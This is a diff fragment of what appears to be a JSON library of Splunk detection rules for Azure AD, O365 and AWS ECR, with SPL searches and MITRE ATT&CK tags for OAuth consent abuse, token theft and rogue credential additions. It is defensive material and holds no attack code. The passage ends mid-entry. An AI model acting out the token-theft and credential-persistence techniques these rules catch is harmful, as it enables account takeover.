"FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Azure AD OAuth Application Consent Granted By User", - "description": "The following analytic detects when a user in an Azure AD environment grants consent to an OAuth application. It leverages Azure AD audit logs to identify events where users approve application consents. This activity is significant as it can expose organizational data to third-party applications, a common tactic used by malicious actors to gain unauthorized access. If confirmed malicious, this could lead to unauthorized access to sensitive information and resources. Immediate investigation is required to validate the application's legitimacy, review permissions, and mitigate potential risks.", - "search": "`azure_monitor_aad` operationName=\"Consent to application\" properties.result=success | rename properties.* as * | eval permissions_index = if(mvfind('targetResources{}.modifiedProperties{}.displayName', \"ConsentAction.Permissions\") >= 0, mvfind('targetResources{}.modifiedProperties{}.displayName', \"ConsentAction.Permissions\"), -1) | eval permissions = mvindex('targetResources{}.modifiedProperties{}.newValue',permissions_index) | rex field=permissions \"Scope: (?[^,]+)\" | stats count min(_time) as firstTime max(_time) as lastTime by operationName, user, Scope | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_oauth_application_consent_granted_by_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ consented an OAuth application.", - "risk_score": 36, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "Azure AD User Consent Blocked for Risky Application", - "description": "The following analytic detects instances where Azure AD has blocked a user's attempt to grant consent to a risky or potentially malicious application. This detection leverages Azure AD audit logs, focusing on user consent actions and system-driven blocks. Monitoring these blocked consent attempts is crucial as it highlights potential threats early on, indicating that a user might be targeted or that malicious applications are attempting to infiltrate the organization. If confirmed malicious, this activity suggests that Azure's security measures successfully prevented a harmful application from accessing organizational data, warranting immediate investigation to understand the context and take preventive measures.", - "search": "`azure_monitor_aad` operationName=\"Consent to application\" properties.result=failure | rename properties.* as * | eval reason_index = if(mvfind('targetResources{}.modifiedProperties{}.displayName', \"ConsentAction.Reason\") >= 0, mvfind('targetResources{}.modifiedProperties{}.displayName', \"ConsentAction.Reason\"), -1) | eval permissions_index = if(mvfind('targetResources{}.modifiedProperties{}.displayName', \"ConsentAction.Permissions\") >= 0, mvfind('targetResources{}.modifiedProperties{}.displayName', \"ConsentAction.Permissions\"), -1) | search reason_index >= 0 | eval reason = mvindex('targetResources{}.modifiedProperties{}.newValue',reason_index) | eval permissions = mvindex('targetResources{}.modifiedProperties{}.newValue',permissions_index) | search reason = \"\\\"Risky application detected\\\"\" | rex field=permissions \"Scope: (?[^,]+)\" | stats count min(_time) as firstTime max(_time) as lastTime by operationName, user, reason, Scope | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_user_consent_blocked_for_risky_application_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Azure AD has blocked $user$ attempt to grant to consent to an application deemed risky.", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "Azure AD User Consent Denied for OAuth Application", - "description": "The following analytic identifies instances where a user has denied consent to an OAuth application seeking permissions within the Azure AD environment. This detection leverages Azure AD's audit logs, specifically focusing on user consent actions with error code 65004. Monitoring denied consent actions is significant as it can indicate users recognizing potentially suspicious or untrusted applications. If confirmed malicious, this activity could suggest attempts by unauthorized applications to gain access, potentially leading to data breaches or unauthorized actions within the environment. Understanding these denials helps refine security policies and enhance user awareness.", - "search": " `azure_monitor_aad` operationName=\"Sign-in activity\" properties.status.errorCode=65004 | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime by operationName, user, appDisplayName, status.failureReason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_user_consent_denied_for_oauth_application_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ denied consent for an OAuth application.", - "risk_score": 36, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "O365 File Permissioned Application Consent Granted by User", - "description": "The following analytic identifies instances where a user in the Office 365 environment grants consent to an application requesting file permissions for OneDrive or SharePoint. It leverages O365 audit logs, focusing on OAuth application consent events. This activity is significant because granting such permissions can allow applications to access, modify, or delete files, posing a risk if the application is malicious or overly permissive. If confirmed malicious, this could lead to data breaches, data loss, or unauthorized data manipulation, necessitating immediate investigation to validate the application's legitimacy and assess potential risks.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Consent to application.\" ResultStatus=Success | eval admin_consent =mvindex('ModifiedProperties{}.NewValue', 0) | search admin_consent=False | eval permissions =mvindex('ModifiedProperties{}.NewValue', 4) | rex field=permissions \"Scope: (?[^,]+)\" | makemv delim=\" \" Scope | search Scope IN (\"Files.Read\", \"Files.Read.All\", \"Files.ReadWrite\", \"Files.ReadWrite.All\", \"Files.ReadWrite.AppFolder\") | stats max(_time) as lastTime values(Scope) by Operation, user, object, ObjectId | `security_content_ctime(lastTime)` | `o365_file_permissioned_application_consent_granted_by_user_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ consented an OAuth application that requests file-related permissions.", - "risk_score": 40, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "O365 Mail Permissioned Application Consent Granted by User", - "description": "The following analytic identifies instances where a user grants consent to an application requesting mail-related permissions within the Office 365 environment. It leverages O365 audit logs, specifically focusing on events related to application permissions and user consent actions. This activity is significant as it can indicate potential security risks, such as data exfiltration or spear phishing, if malicious applications gain access. If confirmed malicious, this could lead to unauthorized data access, email forwarding, or sending malicious emails from the compromised account. Validating the legitimacy of the application and consent context is crucial to prevent data breaches.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Consent to application.\" ResultStatus=Success | eval admin_consent =mvindex('ModifiedProperties{}.NewValue', 0) | search admin_consent=False | eval permissions =mvindex('ModifiedProperties{}.NewValue', 4) | rex field=permissions \"Scope: (?[^,]+)\" | makemv delim=\" \" Scope | search Scope IN (\"Mail.Read\", \"Mail.ReadBasic\", \"Mail.ReadWrite\", \"Mail.Read.Shared\", \"Mail.ReadWrite.Shared\", \"Mail.Send\", \"Mail.Send.Shared\") | stats max(_time) as lastTime values(Scope) by Operation, user, object, ObjectId | `security_content_ctime(lastTime)` | `o365_mail_permissioned_application_consent_granted_by_user_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ consented an OAuth application that requests mail-related permissions.", - "risk_score": 40, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "O365 User Consent Blocked for Risky Application", - "description": "The following analytic identifies instances where Office 365 has blocked a user's attempt to grant consent to an application deemed risky or potentially malicious. This detection leverages O365 audit logs, specifically focusing on failed user consent actions due to system-driven blocks. Monitoring these blocked consent attempts is crucial as it highlights potential threats early on, indicating that a user might be targeted or that malicious applications are attempting to infiltrate the organization. If confirmed malicious, this activity suggests that O365's security measures successfully prevented a harmful application from accessing organizational data, warranting immediate investigation.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Consent to application.\" ResultStatus=Failure | eval permissions =mvindex('ModifiedProperties{}.NewValue', 4) | eval reason =mvindex('ModifiedProperties{}.NewValue', 5) | search reason = \"Risky application detected\" | rex field=permissions \"Scope: (?[^,]+)\" | stats max(_time) as lastTime by Operation, user, reason, object, Scope | `security_content_ctime(lastTime)` | `o365_user_consent_blocked_for_risky_application_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "O365 has blocked $user$ attempt to grant to consent to an application deemed risky.", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "O365 User Consent Denied for OAuth Application", - "description": "The following analytic identifies instances where a user has denied consent to an OAuth application seeking permissions within the Office 365 environment. This detection leverages O365 audit logs, focusing on events related to user consent actions. By filtering for denied consent actions associated with OAuth applications, it captures instances where users have actively rejected permission requests. This activity is significant as it may indicate users spotting potentially suspicious or unfamiliar applications. If confirmed malicious, it suggests an attempt by a potentially harmful application to gain unauthorized access, which was proactively blocked by the user.", - "search": " `o365_graph` status.errorCode=65004 | rename userPrincipalName as user | rename ipAddress as src_ip | stats max(_time) as lastTime by user src_ip appDisplayName status.failureReason | `security_content_ctime(lastTime)` | `o365_user_consent_denied_for_oauth_application_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ denifed consent for an OAuth application.", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } } ], "external_reference": [ @@ -468415,144 +324565,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started" ] - }, - { - "name": "Azure AD Service Principal New Client Credentials", - "description": "The following analytic detects the addition of new credentials to Service Principals and Applications in Azure AD. It leverages Azure AD AuditLogs, specifically monitoring the \"Update application*Certificates and secrets management\" operation. This activity is significant as it may indicate an adversary attempting to maintain persistent access or escalate privileges within the Azure environment. If confirmed malicious, attackers could use these new credentials to log in as the service principal, potentially compromising sensitive accounts and resources, leading to unauthorized access and control over the Azure environment.", - "search": " `azure_monitor_aad` category=AuditLogs operationName=\"Update application*Certificates and secrets management \" | rename properties.* as * | rename targetResources{}.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(displayName) as displayName by user, modifiedProperties{}.newValue, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_service_principal_new_client_credentials_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "Azure Active Directory Privilege Escalation", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "New credentials added for Service Principal by $user$", - "risk_score": 35, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.001", - "mitre_attack_technique": "Additional Cloud Credentials", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "O365 Service Principal New Client Credentials", - "description": "The following analytic detects the addition of new credentials for Service Principals within an Office 365 tenant. It uses O365 audit logs, focusing on events related to credential modifications or additions in the AzureActiveDirectory workload. This activity is significant because Service Principals represent application identities, and their credentials allow applications to authenticate and access resources. If an attacker successfully adds or modifies these credentials, they can impersonate the application, leading to unauthorized data access, data exfiltration, or malicious operations under the application's identity.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=\"Update application*Certificates and secrets management \" | stats earliest(_time) as firstTime latest(_time) as lastTime by user ModifiedProperties{}.NewValue object ObjectId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_service_principal_new_client_credentials_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "object", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "New credentials added for Service Principal $object$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.001", - "mitre_attack_technique": "Additional Cloud Credentials", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -470999,2867 +327011,7 @@ "Event ID": null, "Event Name": "Anti-virus" } - ], - { - "name": "ASL AWS ECR Container Upload Outside Business Hours", - "description": "The following analytic detects the upload of new containers to AWS Elastic Container Service (ECR) outside of standard business hours through AWS CloudTrail events. It identifies this behavior by monitoring for `PutImage` events occurring before 8 AM or after 8 PM, as well as any uploads on weekends. This activity is significant for a SOC to investigate as it may indicate unauthorized access or malicious deployments, potentially leading to compromised services or data breaches. Identifying and addressing such uploads promptly can mitigate the risk of security incidents and their associated impacts.", - "search": "`amazon_security_lake` api.operation=PutImage | eval hour=strftime(time/pow(10,3), \"%H\"), weekday=strftime(time/pow(10,3), \"%A\") | where hour >= 20 OR hour < 8 OR weekday=Saturday OR weekday=Sunday | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent cloud.region | rename actor.user.name as user, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_ecr_container_upload_outside_business_hours_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Container uploaded outside business hours from $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "ASL AWS ECR Container Upload Unknown User", - "description": "The following analytic detects unauthorized container uploads to AWS Elastic Container Service (ECR) by monitoring AWS CloudTrail events. It identifies instances where a new container is uploaded by a user not previously recognized as authorized. This detection is crucial for a SOC as it can indicate a potential compromise or misuse of AWS ECR, which could lead to unauthorized access to sensitive data or the deployment of malicious containers. By identifying and investigating these events, organizations can mitigate the risk of data breaches or other security incidents resulting from unauthorized container uploads. The impact of such an attack could be significant, compromising the integrity and security of the organization's cloud environment.", - "search": "`amazon_security_lake` api.operation=PutImage NOT `aws_ecr_users_asl` | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.name as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_ecr_container_upload_unknown_user_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Container uploaded from unknown user $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Scanning Findings High", - "description": "The following analytic identifies high-severity findings from AWS Elastic Container Registry (ECR) image scans. It detects these activities by analyzing AWS CloudTrail logs for the DescribeImageScanFindings event, specifically filtering for findings with a high severity level. This activity is significant for a SOC because high-severity vulnerabilities in container images can lead to potential exploitation if not addressed. If confirmed malicious, attackers could exploit these vulnerabilities to gain unauthorized access, execute arbitrary code, or escalate privileges within the container environment, posing a significant risk to the overall security posture.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=DescribeImageScanFindings | spath path=responseElements.imageScanFindings.findings{} output=findings | mvexpand findings | spath input=findings | search severity=HIGH | rename name as finding_name, description as finding_description, requestParameters.imageId.imageDigest as imageDigest, requestParameters.repositoryName as repository, userIdentity.principalId as user | eval finding = finding_name.\", \".finding_description | eval phase=\"release\" | eval severity=\"high\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, imageDigest, repository, user, src_ip, finding, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_scanning_findings_high_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities with severity high found in repository $repository$", - "risk_score": 70, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Scanning Findings Low Informational Unknown", - "description": "The following analytic identifies low, informational, or unknown severity findings from AWS Elastic Container Registry (ECR) image scans. It leverages AWS CloudTrail logs, specifically the DescribeImageScanFindings event, to detect these findings. This activity is significant for a SOC as it helps in early identification of potential vulnerabilities or misconfigurations in container images, which could be exploited if left unaddressed. If confirmed malicious, these findings could lead to unauthorized access, data breaches, or further exploitation within the containerized environment.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=DescribeImageScanFindings | spath path=responseElements.imageScanFindings.findings{} output=findings | mvexpand findings | spath input=findings| search severity IN (\"LOW\", \"INFORMATIONAL\", \"UNKNOWN\") | rename name as finding_name, description as finding_description, requestParameters.imageId.imageDigest as imageDigest, requestParameters.repositoryName as repository, userIdentity.principalId as user | eval finding = finding_name.\", \".finding_description | eval phase=\"release\" | eval severity=\"low\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, imageDigest, repository, user, src_ip, finding, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_scanning_findings_low_informational_unknown_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities with severity $severity$ found in repository $repository$", - "risk_score": 5, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Scanning Findings Medium", - "description": "The following analytic identifies medium-severity findings from AWS Elastic Container Registry (ECR) image scans. It leverages AWS CloudTrail logs, specifically the DescribeImageScanFindings event, to detect vulnerabilities in container images. This activity is significant for a SOC as it highlights potential security risks in containerized applications, which could be exploited if not addressed. If confirmed malicious, these vulnerabilities could lead to unauthorized access, data breaches, or further exploitation within the container environment, compromising the overall security posture.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=DescribeImageScanFindings | spath path=responseElements.imageScanFindings.findings{} output=findings | mvexpand findings | spath input=findings| search severity=MEDIUM | rename name as finding_name, description as finding_description, requestParameters.imageId.imageDigest as imageDigest, requestParameters.repositoryName as repository, userIdentity.principalId as user| eval finding = finding_name.\", \".finding_description | eval phase=\"release\" | eval severity=\"medium\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, imageDigest, repository, user, src_ip, finding, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_scanning_findings_medium_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities with severity $severity$ found in repository $repository$", - "risk_score": 21, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Upload Outside Business Hours", - "description": "The following analytic detects the upload of a new container image to AWS Elastic Container Registry (ECR) outside of standard business hours. It leverages AWS CloudTrail logs to identify `PutImage` events occurring between 8 PM and 8 AM or on weekends. This activity is significant because container uploads outside business hours can indicate unauthorized or suspicious activity, potentially pointing to a compromised account or insider threat. If confirmed malicious, this could allow an attacker to deploy unauthorized or malicious containers, leading to potential data breaches or service disruptions.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=PutImage date_hour>=20 OR date_hour<8 OR date_wday=saturday OR date_wday=sunday | rename requestParameters.* as * | rename repositoryName AS repository | eval phase=\"release\" | eval severity=\"medium\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, user, userName, src_ip, imageTag, registryId, repository, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_upload_outside_business_hours_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Container uploaded outside business hours from $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Upload Unknown User", - "description": "The following analytic detects the upload of a new container image to AWS Elastic Container Registry (ECR) by an unknown user. It leverages AWS CloudTrail logs to identify `PutImage` events from the ECR service, filtering out known users. This activity is significant because container uploads should typically be performed by a limited set of authorized users. If confirmed malicious, this could indicate unauthorized access, potentially leading to the deployment of malicious containers, data exfiltration, or further compromise of the AWS environment.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=PutImage NOT `aws_ecr_users` | rename requestParameters.* as * | rename repositoryName AS image | eval phase=\"release\" | eval severity=\"high\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, user, userName, src_ip, imageTag, registryId, image, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_upload_unknown_user_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Container uploaded from unknown user $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Lambda UpdateFunctionCode", - "description": "The following analytic identifies IAM users attempting to update or modify AWS Lambda code via the AWS CLI. It leverages CloudTrail logs to detect successful `UpdateFunctionCode` events initiated by IAM users. This activity is significant as it may indicate an attempt to gain persistence, further access, or plant backdoors within your AWS environment. If confirmed malicious, an attacker could upload and execute malicious code automatically when the Lambda function is triggered, potentially compromising the integrity and security of your AWS infrastructure.", - "search": "`cloudtrail` 